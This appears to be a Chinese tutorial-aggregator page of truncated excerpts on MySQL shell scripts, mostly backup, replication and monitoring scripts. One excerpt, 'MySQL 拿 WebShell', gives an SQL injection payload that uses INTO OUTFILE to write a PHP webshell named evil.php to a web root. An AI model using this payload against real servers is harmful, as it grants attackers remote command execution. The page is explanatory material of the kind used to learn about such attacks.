【Mysql 查询注意和执行shell命令】教程文章相关的互联网学习教程文章

MySql自动备份shell【图】

MySql黑屏备份是每个运维工程师必备的技能,以下是MySQL自动备份脚本:#/bin/bash#This is mysql backup shell on 2019/4/28BAKUP_DIR=/home/admin/mysql/backup/date +%Y-%m-%dMYSQL_DB=webappMYSQL_USER=rootMYSQL_PW=123456MYSQL_PORT=3306#判断用户是否为root,如果不是,自动退出;if [[ $UID -ne 0 ]]; then echo " This user must be root !!!" sleep 2 exit 0fi#判断目录是否存在 if [[ ! -d $BACKUP_DIR ]...

MySQL自动备份可通用shell脚本

最近在整理服务器的脚本,发现以前写的MySQL每天自动备份脚本写的不太好,就重新写了一个: #!/bin/bash####目录环境的配置####export datetime=`date +"%Y%m%d"`export mysqlbin_dir="/usr/local/mysql/bin"export datadir="`$mysqlbin_dir/mysql -h localhost -uroot -A -Bse "show variables like datadir;" |awk {print $2}`"export mysql_backup="/data/backup/mysql_backup"export masterbakdir="$mysql_backup/masterbakdir...

MySql自动备份shell【图】

MySql黑屏备份是每个运维工程师必备的技能,以下是MySQL自动备份脚本:#/bin/bash#This is mysql backup shell on 2019/4/28BAKUP_DIR=/home/admin/mysql/backup/date +%Y-%m-%dMYSQL_DB=webappMYSQL_USER=rootMYSQL_PW=123456MYSQL_PORT=3306#判断用户是否为root,如果不是,自动退出;if [[ $UID -ne 0 ]]; then echo " This user must be root !!!" sleep 2 exit 0fi#判断目录是否存在 if [[ ! -d $BACKUP_DIR ]...

MySQL shell / client:只读访问权限,还是“安全历史记录”选项?

昨天我正在研究一个shell脚本,以便对MySQL数据库执行一些中等复杂的表插入.当然,我保持一个mysql客户端shell窗口打开,以运行describe命令,示例查询,并在测试周期之间删除我的测试行. 是的,这是在一个实时的生产数据库中. 在我完成编码的时候,我要求一位同事在运行脚本来处理批处理条目之前查看我的工作.我们讨论了所有事情,他同意他看起来是正确的,我解雇了剧本.没问题. 然后我回到我的实时shell,从历史中拉出一行,更改了where子句...

实现对MySQL数据库进行分库/分表备份(shell脚本)【代码】【图】

工作中,往往数据库备份是件非常重要的事情,毕竟数据就是金钱,就是生命!废话不多,下面介绍一下:如何实现对MySQL数据库进行分库备份(shell脚本) Mysq数据库dump备份/还原语法: mysqldump -u 用户名 –p 数据库名 > 导出的文件名; mysqldump -u 用户名 –p 数据库名 < 导入的文件名; 首先,我们需要知道是备份全库还是部分库; 其次,我们需要获取到需要备份的库名列表; 最后,编写脚本实现数据备份。 分库备份: 1、查看当...

使用shell中的变量将密码传递给mysql_config_editor【代码】

我将密码存储在变量$db_pwd中,我想将它传递给shell脚本中的mysql_config_editor.我不能使用配置文件或db_pwd环境变量. 我这样做mysql_config_editor set --login-path=local --host=localhost --user=username --password(https://stackoverflow.com/a/20854048/6487831). 它的作用是要求输入密码“输入密码”,但我希望使用变量提供密码. 我试过这个:mysql_config_editor set --login-path=local --host=localhost --user=usernam...

mysql shell 定时备份

#!/bin/sh if [ ! -d "/data/backup" ]; then mkdir -p /data/backup fi db_user="root" db_passwd="abc" time="$(date +"%Y%m%d%H%M")" mysqldump -u$db_user -p$db_passwd --database abc_app > /data/backup/db_abc_app_$time.sql #备份并压缩文件 mysqldump -u$db_user -p$db_passwd --database abc_cms > /data/backup/db_abc_cms_$time.sql mysqldump -u$db_user -p$db_passwd --database abc_admin > /data/...

MySQL 拿 WebShell【代码】

两种常规方法利用 MySQL getshell 的方法:select … into outfile general_log 一、select … into outfile 介绍 利用需要满足以下条件: 对web目录有写权限GPC关闭(能使用单引号)有绝对路径(读文件可以不用,写文件必须)没有配置 –secure-file-priv姿势:有 union id=2) union select 1,2,3,4,5,6,7,<?php assert($_POST["cmd"]);?>’ into outfile ‘/home/wwwroot/shadowyspirits/evil.php’%23 1 无 union id=2) into ...

干掉一堆mysql数据库,仅需这样一个shell脚本

一大早就被电话吵醒了,云某项目数据库全挂了,启动不了(睡得太死,没听到报警短信),吓得不轻啊! 电话中说所有mysql数据库主库都启动不了,但从库正常,怀疑是主库去连其它阿里云的主库了。这些数据库,以前是从阿里云迁移到idc机房的,因此他有这个判断。 赶紧打开电脑,连***,登录其中一个数据库服务器,试着执行如下命令启动mysql服务 [root@bbsmysql121 backup]#mysqld_safe –user=mysql &启动失败,又换一台数据库...

Shell: 分享MySQL数据同步+主从复制自动化脚本

做mysql主从复制,要锁master表,导出数据,解锁master表,同步数据,查master的log偏移,配置slave的log偏移,开启slave复制。如果是做双向同步,还得再来一遍。麻烦死! 使用这个脚本,可以省不少时间。 作用:运行于mysql slave服务器上,添加到crontab计划任务里,可定期同步数据,并重置mysql slave配置。 使用方法: my.cnf配置过程略。 配置好shell里的主服务器ip,用户名,密码。 手动创建rep用户,密码password. 添加到计划...

Scp语法详解和MYSQL定时备份Shell脚本【代码】【图】

SCPscp是 secure copy的缩写, scp是linux系统下基于ssh登陆进行安全的远程文件拷贝命令。经过测试,在windows下也是可以用的,scp工具集成到ssh中,使用平台:win10+Openssh win10是默认没有ssh服务的,此时我们可以从官网下载Openssh客户端软件,其实说白了就是ssh命令行工具,安装好之后,记得将目录中的bash.exe配置到window的Path环境变量之中,这样就默认在任意地方打开cmd都能够使用了,测试结果如下即可SCP语法如下所示,参...

监控mysql和mongo数据库服务脚本--shell编写【代码】

应帅气的领导要求,需要脚本监控生产环境mysql和mongo数据库服务。不仅要connect successful还要进行数据交互进一步确认数据库服务正常。 代码如下:#!/bin/bash#author:吴青聪#email:wuqingcong@aliyun.com#encoding: utf-8#声明四个数据,存放数据库信息 ip、用户、密码、端口declare -a host declare -a userdeclare -a passwddeclare -a port#定义一个计数变量,初始值 0n=0 #指明收件邮箱mail=wuqingcong@aliyun.com #按行读...

Shell开发MySQL主从监控脚本【代码】

监控MySQL主从同步是否异常,如果异常,则发送短信或者邮件给管理员。 1)开发一个守护进程脚本每30秒实现检测一次。 2)如果同步出现如下错误号(1158,1159,1008,1007,1062),则跳过错误。 阶段3:3)如果IO和SQL线程出现异常,则通知邮件给管理员 使用数组技术实现上述脚本(获取主从判断及错误号部分) 主从监控脚本如下: #!/bin/bash CODE=( 1158 1159 1008 1007 1062 2003 ) fun_Base(){ #1.定义变量#1.1 抓取IP地址 IP=`if...

xshell怎么配置mysql【代码】【图】

xshell怎么配置mysql 以下方法没有说怎么将包上传到xshell中 mysql配置步骤 1.没有mysql包到官网下载,需要到mysql的官网下载yum repo配置文件。 wget https://dev.mysql.com/get/mysql57-community-release-el7-9.noarch.rpm 2.在 /opt中看是否有mysql文件包3.进行repo的安装: rpm -ivh mysql57-community-release-el7-9.noarch.rpm 4.查看/etc/yum.repos.d/目录下是否生成两个repo文件mysql-community.repo,mysql-community-so...

shell 练习(07)——MySQL 数据库备份【代码】

1. 题目 设计一个 shell 脚本来备份数据库,首先在本地服务器上保存一份数据,然后再远程拷贝一份,本地保存一周的数据,远程保存一个月。 假定,我们已经知道了 mysql root 账户密码,要备份的数据库为 wenming ,本地备份目录为 /data/backup/mysql,远程服务器 ip 为 192.168.12.34 ,远程提供了一个 rsync 服务,备份的地址是 192.168,12.34::backup . 写完脚本后,需要加入到cron 中,每天凌晨 3 点执行。 2. 习题分析首先要会写...

执行 - 相关标签